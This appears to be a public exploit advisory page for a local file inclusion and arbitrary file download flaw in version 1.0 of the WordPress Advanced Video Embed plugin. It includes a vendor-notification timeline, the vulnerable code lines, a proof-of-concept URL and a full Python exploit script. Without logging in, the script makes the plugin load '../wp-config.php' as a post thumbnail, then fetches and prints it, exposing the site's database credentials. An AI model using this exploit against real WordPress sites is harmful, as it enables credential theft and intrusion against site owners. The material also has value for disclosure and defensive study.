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WordPress Advanced Video 1.0 Local File Inclusion

WordPress Advanced Video 1.0 Local File Inclusion
Posted Apr 1, 2016
Authored by evait security GmbH

WordPress Advanced Video plugin version 1.0 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
MD5 | d8bc908855846beaafa1704c2192b5ff

WordPress Advanced Video 1.0 Local File Inclusion

Change Mirror Download
#!/usr/bin/env python

# Exploit Title: Advanced-Video-Embed Arbitrary File Download / Unauthenticated Post Creation
# Google Dork: N/A
# Date: 04/01/2016
# Exploit Author: evait security GmbH
# Vendor Homepage: arshmultani - http://dscom.it/
# Software Link: https://wordpress.org/plugins/advanced-video-embed-embed-videos-or-playlists/
# Version: 1.0
# Tested on: Linux Apache / Wordpress 4.2.2

# Timeline
# 03/24/2016 - Bug discovered
# 03/24/2016 - Initial notification of vendor
# 04/01/2016 - No answer from vendor, public release of bug


# Vulnerable Code (/inc/classes/class.avePost.php) Line 57:

# function ave_publishPost(){
# $title = $_REQUEST['title'];
# $term = $_REQUEST['term'];
# $thumb = $_REQUEST['thumb'];
# <snip>
# Line 78:
# $image_data = file_get_contents($thumb);


# POC - http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=[FILEPATH]

# Exploit - Print the content of wp-config.php in terminal (default Wordpress config)

import random
import urllib2
import re

url = "http://127.0.0.1/wordpress" # insert url to wordpress

randomID = long(random.random() * 100000000000000000L)

objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content = objHtml.readlines()
for line in content:
numbers = re.findall(r'\d+',line)
id = numbers[-1]
id = int(id) / 10

objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()

for line in content:
if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
urls=re.findall('"(https?://.*?)"', line)
print urllib2.urlopen(urls[0]).read()

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